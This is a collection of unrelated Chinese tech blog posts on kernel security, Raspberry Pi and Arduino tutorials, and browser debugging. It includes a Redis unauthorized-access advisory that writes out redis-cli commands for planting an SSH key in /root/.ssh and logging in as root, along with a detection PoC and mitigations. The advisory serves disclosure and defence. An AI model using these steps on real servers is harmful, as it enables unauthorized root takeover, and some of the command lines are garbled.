为什么提升内核的安全性很重要

最近《华盛顿邮报》刊文称,安全社区与 Linux 内核开发者之间的关系正处于紧张阶段。这种遭强烈的行为被称为 FUD(恐惧、疑惑、怀疑,即心理恐怖战术), Rob Graham 宣称目前无人攻击系统内核。

不幸的是,事实证明他的言论是完全错误的,这并不是 FUD 行为,目前Linux内核的安全状况还远远没有达到它应该达到的状态。

举个例子,最新版本的Android系统使用SELinux来限制应用程序的运行。这令你即使拥有一个在Android上可被完全控制的应用程序,SELinux规则也能使你很难做成任何事,尤其是用户控制。有家违反 GPL 协议的意大利公司 Hacking Team ,在销售一款可以侵犯用户隐私的监控软件,但他们发现这种内核阻碍了他们将间谍软件传输到目标设备。所以他们利用许多 Android 设备内核的 copy-from-user() 缺陷,从而实现允许他们复制任意一个用户空间的数据及其内核代码的行为,因此他们也能做到禁用SELinux。

如果我们可以信任用户空间的应用程序,我们是不需要SELinux的。但我们假定用户空间的代码是不成熟的,配置是错误的或者是完全怀有敌意的,我们就要使用例如SELinux或AppArmor等技术来限制其行为。只是有很多用户空间的代码对我们都保证是无害的,我们尽力阻止的只是它可能出现的对我们造成侵害的部分。

这在内核中显然是不正确的。这种模型目前为止在很大程度上已经是“当我们找到他们时方能修复安全漏洞”,这种方法的失败体现在两个层面上:

(1)当我们找到并修复它们,但在被修复版本可以使用,到它真正被部署,这中间是有一个空窗期的。

(2)尽管动用了尖端的力量,也可能无法在第一时间发现它们。

这种反应方式是针对某个世界,一个无需先进行公测就可以进行软件更新的世界,那个世界中有以寻找内核漏洞为乐趣的好人。然而,我们并不生活在那个世界,这种方法也并不可行。

正如SELinux等功能可以使我们减少可能遭受的侵害一样,如果一个新的用户空间安全隐患被发现,攻击者将内核错误变成一个可利用的漏洞,我们可以将修复功能添加至内核,使攻击变得困难(或不可能)。如今使用Linux系统的人数越来越多,许多用户依赖这些系统在各个关键方面的安全性能,那么尽我们所能不辜负他们的信任是至关重要的。

许多有用的缓解功能已经存在于Grsecurity patchset中,但技术分歧出现在某些特性的结合,而个性冲突和明显缺乏热情的上游内核开发人员导致它几乎没有被应用于大多数人所使用的内核中。Kees Cook提出了一个新的想法,开始更加齐心协力的将Grsecurity组件迁移到上游。如果你依赖于内核安全组件,因基于它而运行程序或者说因为你自己本身就使用它,那你应尽你所能去支持这一想法。

因为安全平台的漏洞,微软受到了无可非议的批评。他们回应称,已经跨操作系统引入了先进的安全功能,包括内核部分。任何一个指责说我们需要做同样的 FUD 传播的人,他们都要冒着自由软件被边缘化为专有软件的风险,来提供更多实际性的安全功能。那并不是个好结果。

为什么提升内核的安全性很重要,首发于博客 – 伯乐在线

晚安喵伴奏

网上听到一首小音乐,简单重复的节奏,时不时补充一点喵星人的声音,分享给大家,适合深夜的时候听听,更适合铲屎官。

[hana-flv-player video=”https://blog.wo.ai/test/miao.mp3″ width=”400″ description=”” player=”5″ autoload=”true” autoplay=”false” loop=”false” autorewind=”true” /]

树莓派spi液晶屏支持(fbtft)[转]

 

转自 老徐拉灯 的博客

原文地址:http://blog.csdn.net/xdw1985829/article/details/39583239

树莓派官方支持av及HDMI输出,板子上预留了一个csi接口的液晶显示屏,但是一直没有相应的模组出现。在很多应用场合我们需要一些小型的液晶屏显示一些基本的信息,所以小屏驱动很是必要。

在github上有一个开源工程:notro/fbtft,完整的实现了framebuffer驱动,让树莓派完美支持tft液晶,下面对移植过程进行一个简单说明

一、官网地址

工程首页:https://github.com/notro

fbtft源码:https://github.com/notro/fbtft

编译好的固件(基于3.12.25+):https://github.com/notro/rpi-firmware

使用说明(wiki):https://github.com/notro/fbtft/wiki

二、使用编译好的固件(3.12.25+)

环境:树莓派

https://github.com/notro/rpi-firmware

1、打开SPI

树莓派默认spi是关掉的,我们需要打开

sudo vi /etc/modprobe.d/raspi-blacklist.conf

把下面这句话前面的#号删掉

blacklist spi-bcm2708

2、下载:

1)以模块的形式编译进内核(需要手动或脚本加载模块)3.12.25+(试验成功
sudo REPO_URI=https://github.com/notro/rpi-firmware rpi-update
2)直接编译进内核(笔者没有试验
sudo REPO_URI=https://github.com/notro/rpi-firmware BRANCH=builtin rpi-update

3)以模块的形式编译进内核(需要手动或脚本加载模块,最新版本,笔者试过启动不起来,不知道哪出问题

sudo REPO_URI=https://github.com/notro/rpi-firmware BRANCH=latest rpi-update

4)直接下载压缩包,手动安装(适合树莓派不能联网的时候

http://tronnes.org/downloads/2014-06-20-wheezy-raspbian-2014-07-25-fbtft-master-firmware.zip

3、配置

1)手动加载模块:

sudo modprobe fbtft_device name=adafruit22

name后面的名字,要跟相应的液晶驱动芯片移植

笔者使用的液晶芯片为:fb_ra8875,所以这里写的是:er_tftm050_2

其它芯片请查阅:https://github.com/notro/fbtft/blob/master/fbtft_device.c 文件

正常会提示以下信息

fbtft_device:  SPI devices registered:
fbtft_device:      spidev spi0.0 500kHz 8 bits mode=0x00
fbtft_device:      spidev spi0.1 500kHz 8 bits mode=0x00
fbtft_device:  ‘fb’ Platform devices registered:
fbtft_device:      bcm2708_fb id=-1 pdata? no
fbtft_device: Deleting spi0.0
fbtft_device:  GPIOS used by ‘adafruit22’:
fbtft_device:    ‘reset’ = GPIO25
fbtft_device:    ‘led’ = GPIO23
fbtft_device:  SPI devices registered:
fbtft_device:      spidev spi0.1 500kHz 8 bits mode=0x00
fbtft_device:      fb_hx8340bn spi0.0 32000kHz 8 bits mode=0x00

graphics fb1: fb_hx8340bn frame buffer, 176×220, 75 KiB video memory, 16 KiB buffer memory, fps=20, spi0.0 at 32 MHz

在/dev/目录下出现: /dev/fb1设备

2)自动加载模块

sudo vi  /etc/modules

加入以下语句,既可以在启动时自动加载模块

spi-bcm2708

fbtft_device name=er_tftm050_2  speed=28000000 fps=25 verbose=0

红色部分根据实际情况调整,可能出现花屏现象
4、使用(官方给出的方法,笔者测试不成功)

1)手动启动x11和控制台到新的液晶屏
X Windows显示在fb1上:
$FRAMEBUFFER=/dev/fb1 startx

Console显示在fb1上:
$con2fbmap 1 1

2)自动登陆x11

sudo vi /etc/inittab
#1:2345:respawn:/sbin/getty –noclear 38400 tty1
1:2345:respawn:/bin/login -f pi tty1 </dev/tty1 >/dev/tty1 2>&1

sudo vi /etc/rc.local

su -l pi -c “env FRAMEBUFFER=/dev/fb1 startx &”

5、使用(笔者使用这个测试通过)

1)将fb0上的内容直接拷贝到fb1上,fb0和fb1同步

https://github.com/notro/fbtft/wiki/Framebuffer-use#framebuffer-mirroring

$git clone https://github.com/tasanakorn/rpi-fbcp

$cd rpi-fbcp/
$mkdir build
$cd build/
$cmake ..
$make
$sudo install fbcp /usr/local/bin/fbcp

启动:fbcp &

关闭fbcp:killall fbcp

2)启动时使用fb1

$sudo apt-get install xserver-xorg-video-fbdev

$sudo vi /usr/share/X11/xorg.conf.d/99-fbdev.conf

加入以下语句:

Section “Device”
Identifier “myfb”
Driver “fbdev”
Option “fbdev” “/dev/fb1”
EndSection

启动:startx

 

测试:

apt-get -y install fbi

fbi -d /dev/fb1 -T 1 -noverbose -a test.jpg

三、由内核及源码编译

1、下载、编译内核源码:

请见《树莓派开发系列教程8——树莓派内核编译与固件升级

2、下载、编译fbtft源码

$cd linux(进入下载好的内核源码目录)

$cd drivers/video

$git clone https://github.com/notro/fbtft.git(下载fbtft源码,也可以在别的地方下载好,拷贝过来)

   修改内核源码的Kconfig及Makefine

  Add to drivers/video/Kconfig:   source “drivers/video/fbtft/Kconfig”

  Add to drivers/video/Makefile:  obj-y += fbtft/

$make menuconfig(在配置界面加入所选用液晶的驱动支持)

  1.  Device Drivers  —>
  2.  Graphics support  —>
  3. <M> Support for small TFT LCD display modules  —>
  4. <M>   FB driver for the HX8353D LCD Controller
  5. <M>   FB driver for the ILI9320 LCD Controller
  6. <M>   FB driver for the ILI9325 LCD Controller
  7. <M>   FB driver for the ILI9340 LCD Controller
  8. <M>   FB driver for the ILI9341 LCD Controller
  9. < >     FB driver for the ILI9481 LCD Controller
  10. <M>   FB driver for the ILI9486 LCD Controller
  11. <M>   FB driver for the PCD8544 LCD Controller
  12. <M>   FB driver for the RA8875 LCD Controller

$make

基于树莓派Raspberry: 字符设备内核驱动程序框架编写[转]

之前写了一篇移植2.4寸TFT驱动到树莓派的文章,那篇博文中的驱动代码是国外大牛写的,看了一下,还是有很多地方没理解,是得好好再学习一下内核驱动的编写,这里就从字符设备驱动开始,采用最简单的LED驱动来建立内核驱动移植的驱动框架.

个人原创,转载请注明原文出处:

http://blog.csdn.net/embbnux/article/details/17712547

参考文章:

http://blog.csdn.net/hcx25909/article/details/16860725

内核驱动与普通单片机模块驱动的差别就是在于,写内核驱动的时候,要提供内核调用的接口,使内核能找到相应的驱动入口,用户通过告诉内核要干嘛,内核再去调用那个驱动,驱动的最底层和单片机模块是一样的,同样是对GPIO的操作,配置输入输出,以及某些特殊的寄存器. LED的点亮就是对GPIO的操作 .

对于ARM的GPIO调用需要通过IO映射的方法,要操作内存上对应的地址.

对于bcm2708上的io对应关系,可以查看bcm2835的手册,和stm32基本上是一样的,因为同为ARM体系:SouthEast

我参考的那博客讲这个比较清楚,可以参考下,由于树莓派的内核以及很好的提供了GPIO调用的接口,即把内存操作封装了很好,这里就不像那篇博客那样再自己写函数通过内存操作来进行GPIO操作,觉得有点麻烦,但是对于学好底层很有用.

  一  首先上个驱动程序

 

这里直接把该程序添加到内核的源码目录里面,也可在自己的目录下,但是要写Makefile.

在/drivers/char/新建rasp_led.c,内核中的kconfig文件和makefile文件,参照前一篇文章

led.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
/********************************************************************/
/***************Rasp led 驱动程序************************************/
/***************作者: Embbnux Ji*************************************/
/***************博客: http://blog.csdn.net/embbnux/ *****************/
/********************************************************************/
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <mach/platform.h>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
#include <linux/platform_device.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/ioctl.h>
#include <linux/cdev.h>
#include <linux/delay.h>
#include <linux/uaccess.h>
#include <linux/init.h>
#include <linux/gpio.h>
#define DEVICE_NAME "Pi_Led"
#define DRIVER_NAME "pi_led"
//class声明内核模块驱动信息,是UDEV能够自动生成/dev下相应文件
static dev_t pi_led_devno; //设备号
static struct class *pi_led_class;
static struct cdev pi_led_class_dev;
struct gpio_chip *gpiochip;
#define led_pin 4 //gpio 4
//这部分函数为内核调用后open的设备IO操作,和裸板程序一样
int open_flag=0;
static int pi_led_open(struct inode *inode, struct file *filp)
{
 printk("Open led ing!\n");
 if(open_flag ==0){
 open_flag =1;
 printk("Open led success!\n");
 return 0;
 }
 else{
 printk("Led has opened!\n");
 }
 return 0;
}
//这部分函数为内核调用后ioctl的设备IO操作,和裸板程序一样
static long pi_led_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
 switch(cmd){
 case 0:
 gpiochip->set(gpiochip, led_pin, 0);
 printk("Led up!\n");
 break;
 case 1:
 gpiochip->set(gpiochip, led_pin, 1);
 printk("Led down!\n");
 break;
 }
 return 0;
}
static int pi_led_release(struct inode *inode,struct file *file){
 printk("Led has release!\n");
 return 0;
}
//file_operations使系统的open,ioctl等函数指针指向我们所写的led_open等函数,
//这样系统才能够调用
static struct file_operations pi_led_dev_fops = {
 .owner =THIS_MODULE,
 .open =pi_led_open,
 .unlocked_ioctl = pi_led_ioctl,
 .release = pi_led_release,
};
static int is_right_chip(struct gpio_chip *chip, void *data)
{
if (strcmp(data, chip->label) == 0)
 return 1;
 return 0;
}
//内核加载后的初始化函数.
static int __init pi_led_init(void)
{
 struct device *dev;
 int major; //自动分配主设备号
 major = alloc_chrdev_region(&pi_led_devno,0,1,DRIVER_NAME);
 //register_chrdev 注册字符设备使系统知道有LED这个模块在.
 cdev_init(&pi_led_class_dev, &pi_led_dev_fops);
 major = cdev_add(&pi_led_class_dev,pi_led_devno,1);
 //注册class
 pi_led_class = class_create(THIS_MODULE,DRIVER_NAME);
 dev = device_create(pi_led_class ,NULL,pi_led_devno,NULL,DRIVER_NAME);
 gpiochip = gpiochip_find("bcm2708_gpio", is_right_chip);
 gpiochip->direction_output(gpiochip, led_pin, 1);
 gpiochip->set(gpiochip, led_pin, 0);
 printk("pi led init ok!\n");
 return 0;
}
//内核卸载后的销毁函数.
void pi_led_exit(void)
{
 gpio_free(led_pin);
 device_destroy(pi_led_class,pi_led_devno);
 class_destroy(pi_led_class);
 cdev_del(&pi_led_class_dev);
 unregister_chrdev_region(pi_led_devno, 1);
 printk("pi led exit ok!\n");
}
module_init(pi_led_init);
module_exit(pi_led_exit);
MODULE_DESCRIPTION("Rasp Led Driver");
MODULE_AUTHOR("Embbnux Ji < http://blog.csdn.net/embbnux >");
MODULE_LICENSE("GPL");

二  源码框架分析

我们首先从内核模块的入口,module_init(pi_led_init)这个函数看起,可以看出初始化后调用pi_led_init这个函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//内核加载后的初始化函数.
static int __init pi_led_init(void)
{
 struct device *dev;
 int major; //自动分配主设备号
 major = alloc_chrdev_region(&pi_led_devno,0,1,DRIVER_NAME);
 //register_chrdev 注册字符设备使系统知道有LED这个模块在.
 cdev_init(&pi_led_class_dev, &pi_led_dev_fops);
 major = cdev_add(&pi_led_class_dev,pi_led_devno,1);
 //注册class
 pi_led_class = class_create(THIS_MODULE,DRIVER_NAME);
 dev = device_create(pi_led_class ,NULL,pi_led_devno,NULL,DRIVER_NAME);
 gpiochip = gpiochip_find("bcm2708_gpio", is_right_chip);
 gpiochip->direction_output(gpiochip, led_pin, 1);
 gpiochip->set(gpiochip, led_pin, 0);
 printk("pi led init ok!\n");
 return 0;
}

初始化时首先分配给这个函数设备号,注册该设备,通过class注册使能够在/dev/目录下自动生成相应的设备文件,用户通过操作这个文件,来告诉内核怎么做.

由于是字符设备,所以对该文件的操作通过open,write,ioctl等函数,所以要把这个函数和底层的操作函数对应起来,这就要用到file_operation这个结构体,来声明:

1
2
3
4
5
6
7
8
//file_operations使系统的open,ioctl等函数指针指向我们所写的led_open等函数,
//这样系统才能够调用
static struct file_operations pi_led_dev_fops = {
 .owner =THIS_MODULE,
 .open =pi_led_open,
 .unlocked_ioctl = pi_led_ioctl,
 .release = pi_led_release,
};

这里就让open函数对应到pi_led_open函数,ioctl函数对应到pi_led_ioctl函数;

然后我们就只需要编写相应的pi_led_open以及pi_led_ioctl;这些函数里面的操作就是最底层的GPIO操作,和单片机是一样的.

三  GPIO操作

内核里面的GPIO操作函数,被定义在#include <linux/gpio.h>,这个头文件里面,树莓派官方做好了树莓派的GPIO在内核里面的注册,所以调用gpio.h里面的函数即可进行树莓派的GPIO操作.

1
gpiochip = gpiochip_find("bcm2708_gpio", is_right_chip);

通过上面这个函数把内核的GPIO操作和BCM2708的GPIO操作关联起来;

bcm2708的操作可以查看/arch/arm/mach-bcm2708/bcm2708_gpio.c文件,具体也是对内存地址的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
#define GPIOFSEL(x) (0x00+(x)*4)
#define GPIOSET(x) (0x1c+(x)*4)
#define GPIOCLR(x) (0x28+(x)*4)
#define GPIOLEV(x) (0x34+(x)*4)
#define GPIOEDS(x) (0x40+(x)*4)
#define GPIOREN(x) (0x4c+(x)*4)
#define GPIOFEN(x) (0x58+(x)*4)
#define GPIOHEN(x) (0x64+(x)*4)
#define GPIOLEN(x) (0x70+(x)*4)
#define GPIOAREN(x) (0x7c+(x)*4)
#define GPIOAFEN(x) (0x88+(x)*4)
#define GPIOUD(x) (0x94+(x)*4)
#define GPIOUDCLK(x) (0x98+(x)*4)

这里定义的就是相应的GPIO寄存器的地址.

四  测试程序

ssh进入树莓派,在主目录下新建led.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include<stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <sys/ioctl.h>
 #include <sys/time.h>
 int main(int argc, char **argv)
 {
 int on;
 int led_no;
 int fd;
 int i;
fd = open("/dev/pi_led", 0);
 if (fd < 0) {
 fd = open("/dev/pi_led", 0);
 }
 if (fd < 0) {
 perror("open device led");
 exit(1);
 }
for(i=0;i<=20;i++){
on = i%2;
ioctl(fd, on, led_no);
sleep(1);
}
close(fd);
return 0;
}

Center

加载postgres模块后apache无法启动

想在本地搭建一个PostgreSQL的运行环境,完成之后,始终在apache/php环境无法加载postgresql模块。启动的时候无法加载libpq.dll,将postgresql的libpq拷贝到php目录无效,拷贝到windows目录无效,拷贝到windows\system32目录也无效,只好在网上找解决方法。搜到以下方法:

refering to the libpq.dll that comes bundled with PHP, like this:

LoadFile “C:/php/libpq.dll”

(原文地址:http://stackoverflow.com/questions/551734/php-not-loading-php-pgsql-dll-on-windows)

在http.conf文件中增加这一行,完美解决。其实这个答案之前有混淆的问题,比如加载pg目录的libpq.dll,似乎无效,只能用php目录里面自带的libpq.dll。

Firefox 调试 插件/扩展

在一个项目中要开发一个firefox的扩展,结果一直没找到好的调试方法,痛苦的要命。之前在网上找到用chromebug,试了很多次都没有成功,只好在代码里面用代码打印到控制台。

项目已经过去了很久,最近需要修改点代码,重新遇到调试的问题,在网上又搜了一遍,找到了一个方法,测试了一下,居然可以设置断点调试了,可喜可贺。

方法就是修改firefox的设置,在地址栏输入about:config,然后允许chrome调试和远程调试:

devtools.chrome.enable => true

devtools.debugger.remote-enable => true

然后在firefox里Tools > Web Developer > Browser Console.,打开调试窗口,里面有个debugger,这里就可以开始了。

 

以下是原文和地址

http://stackoverflow.com/questions/17547364/how-to-debug-a-firefox-extension-with-chromebug/17579253#17579253

Update April 2014: The browser debugger is now integrated in the “Browser Toolbox” and you no longer need to set about:config prefs. Just use the developer tools configuration/settings panel: “enable chrome debugging” and “enable remote debugging”. The “Browser Toolbox” will then be available in the developer tools panel.

Chromebug has not worked for me for many months. I think it’s just been silently abandoned but thankfully on Firefox 19 or later, it’s possible to use the built-in JS debugger on the browser itself. Go to about:config and set the following two prefs:

devtools.chrome.enabled: true
devtools.debugger.remote-enabled: true

After you restart the browser, the Web Developer menu will contain a “Browser Debugger” entry.

More info here: https://developer.mozilla.org/en/docs/Debugging_JavaScript

If possible, I’d suggest using Aurora for your debugging because the built-in debugger was a little limited when first launched and keeps getting better with every release.

Redis 未授权访问缺陷可轻易导致系统被黑

Sebug 公布了 Redis 未授权访问缺陷的详细漏洞信息,这个 Redis 未授权访问缺陷可轻易导致系统被黑。详细内容请看下文:

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。

根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1.    漏洞分析与利用

首先在本地生产公私钥文件:

$ssh-keygen –t rsa

然后将公钥写入foo.txt文件

$ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt

再连接Redis写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK
$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK
$ 192.168.1.11:6379> saveOK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露

Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

全球无验证可直接利用 Redis 分布情况

全球无验证可直接利用 Redis TOP 10 国家与地区

漏洞 PoC

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
    vulID = '89339'
    version = '1'
    author = ['Anonymous']
    vulDate = '2015-10-26'
    createDate = '2015-10-26'
    updateDate = '2015-10-26'
    references = ['http://sebug.net/vuldb/ssvid-89339']
    name = 'Redis 未授权访问 PoC'
    appPowerLink = 'http://redis.io/'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized access'
    desc = '''
        redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
    '''
    samples = ['']
    def _verify(self):
        result = {}
        payload = 'x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)
    def _attack(self):
        return self._verify()
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
register(TestPOC)

解决方案

临时解决方案

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

官方解决方案

暂无官方解决方案

推荐防护方案

暂无防护方案

Redis 未授权访问缺陷可轻易导致系统被黑,首发于博客 – 伯乐在线

Arduino学习笔记A11 – Arduino模拟电脑键盘(基于AVR-USB的USB-HID设备) [转]

Arduino模拟电脑键盘(基于AVR-USB的USB-HID设备)

关于此帖子的其他讨论,还可以看看
http://geek-workshop.com/thread-2303-1-1.html
http://geek-workshop.com/thread-2310-1-1.html

键盘作为经典的输入设备,使用在很多互动中都有特别的优势,比如我们可以通过键盘直接给flash传递按键事件。而无需通过串口之类的特殊接口,虽然我们可以拆一个传统的键盘,然后将里面的按键引出来,但是这样有一个缺点,就是键值不能动态改变并且不能一次多键。使用模拟键盘的话,我们就可以随意在程序设置按键的时间和键值。比如本文的例子就是按下一个按键,模拟键盘就在电脑输入“HELLO WORLD”。

硬件部分:
材料清单:
Arduino x1
68Ω电阻 x2 (没有68Ω的话,用50~100Ω电阻也行)
2.2kΩ电阻 x1 (没有2.2kΩ的话,用1.5k~2.2k电阻也行)
USB连接线(一端是USB口,另一端是电线) x1
3.6v 稳压管(建议选用功耗0.25~0.5w的)x2
194146uld4tdhd1b111w9d1942021gy6n1v41yne26ia

电路原理图:
120616mer6qi8i8smt5qs6
电路图解说:
1、两个68Ω的电阻起到限流和保护作用,防止在意外情况下损坏计算机的USB端口或单片机的端口。
2、2.2kΩ电阻是上拉电阻,用于分辨总线状态。如果上拉电阻接于D+和+5v端则是高速USB设备,接于D-与+5v端,则是低速设备。此处键盘传输速率不高,接到D-作为低速设备即可。
3、D+和D-上的3.6V稳压二极管D1和D2起到限制数据线上的电平的作用。因为在USB规范中规定数据线D+和D-上的电平范围是3.0V至3.6V,而AVR单片机的输出电平是Vcc。如果单片机的Vcc是5V,在没有D1和D2的情况下将造成电平不匹配,会造成在很多计算机中无法正确识别出USB设备。如果用户系统的Vcc在3.0V至3.6V之间,就可以省略这两个稳压二极管。从这里也可以看出用户系统的Vcc必须高于3V。
4、由于低速AVRUSB所需要的是1.5MHz时钟,而单片机每8条指令就能精确完成一个数据位的采集。所以AVRUSB最小单片机时钟频率是12MHz。并且可以使用的时钟频率有12MHz、12.8MHz、15MHz、16MHz、16.5MHz、20MHz,其他的不支持。所以如果使用最小系统制作此模拟键盘的话8MHz的话,ATMega8L不能用。
————————
软件部分:

Arduino支持库文件:
http://soft1.wmzhe.com/download/ … ino/UsbKeyboard.zip
UsbKeyboard.zip (112.45 KB, 下载次数: 1421)
文件下载后解压到arduino编译器的libraries文件夹下面。

注意:

1、UsbKeyboard库中,usbconfig.h里面可以更改USB接线的引脚定义,下面给出一个大概解释(下面的PORTD是指AVR单片机的PORTD,要查询Arduino原理图才能得到是Arduino的哪个引脚):

#define USB_CFG_IOPORTNAME D
USB输入输出引脚使用AVR单片机的PORTD,如果改成B就是使用PORTB
#define USB_CFG_DMINUS_BIT 4
USB的D-接PORTD的第四位PD4,对应Arduino D4
#define USB_CFG_DPLUS_BIT  2
USB的D+接PORTD的第二位PD2,对应Arduino D2
#define USB_CFG_PULLUP_IOPORTNAME D
USB上拉引脚使用AVR单片机的PORTD,如果改成B就是使用PORTB
#define USB_CFG_PULLUP_BIT  5
USB的上拉电阻接PORTD的第五位PD5,对应Arduino  D5

2、在UsbKeyboard库的UsbKeyboard.h里面,有关于模拟键值的表
#define KEY_A       4
#define KEY_B       5
#define KEY_C       6
#define KEY_D       7
#define KEY_E       8
等。但不齐全。经过测试,其实这个键盘基本可以模拟几乎所有键值(Power,Sleep,Pause似乎不能)。
比如方向键右左下上分别对应79,80,81,82数字。即写成
UsbKeyboard.sendKeyStroke(79);
UsbKeyboard.sendKeyStroke(81);
等。由于整理比较麻烦,大家可以自己下载个KeyboardTest软件测试不同数字下面的键值。

程序示例:
下面的例子演示了用Arduino虚拟键盘的应用例子。打开记事本,然后将Arduino的D12引脚和GND连起来,就会打印HELLO WORLD字样。

ARDUINO 代码复制打印

  1. /*
  2. Arduino模拟键盘 by Ansifa
  3. 2012.6.8
  4. 功能描述:插上此模拟键盘,打开记事本,然后按下按钮,即可在记事本打印出HELLO WORLD字样
  5. 接线方法:
  6. <img src=”http://www.geek-workshop.com/forum.php?mod=image&aid=5359&size=300×300&key=e9fa5559e6d5724d51f770bc6c55b941&nocache=yes&type=fixnone” border=”0″ aid=”attachimg_5359″ alt=””>
  7. Arduino D2接68Ω电阻后,接USB线D+
  8. Arduino D4接68Ω电阻后,接USB线D-
  9. Arduino D5接2.2kΩ电阻后,接USB线D-
  10. Arduino D2接3.6v稳压管到GND
  11. Arduino D4接3.6v稳压管到GND
  12. +5v接USB线VCC
  13. GND接USB线GND
  14. Arduino D1接一个开关到GND
  15. 附:USB线序颜色(由于各生产厂不同,不一定准确,仅供参考)
  16. *USB键鼠:      |        *USB接口
  17. 白<->VCC        |        红<->VCC
  18. 橙<->D-         |        白<->D-
  19. 绿<->D+         |        绿<->D+
  20. 蓝<->GND        |        黑<->GND
  21. */
  22. #include “UsbKeyboard.h”
  23. int KEYPIN = 1;                //按键接在D1引脚,也可以改成任何引脚
  24. void setup()
  25. {
  26.   TIMSK0 &= !(1 << TOIE0);        //
  27.   pinMode(KEYPIN, INPUT);
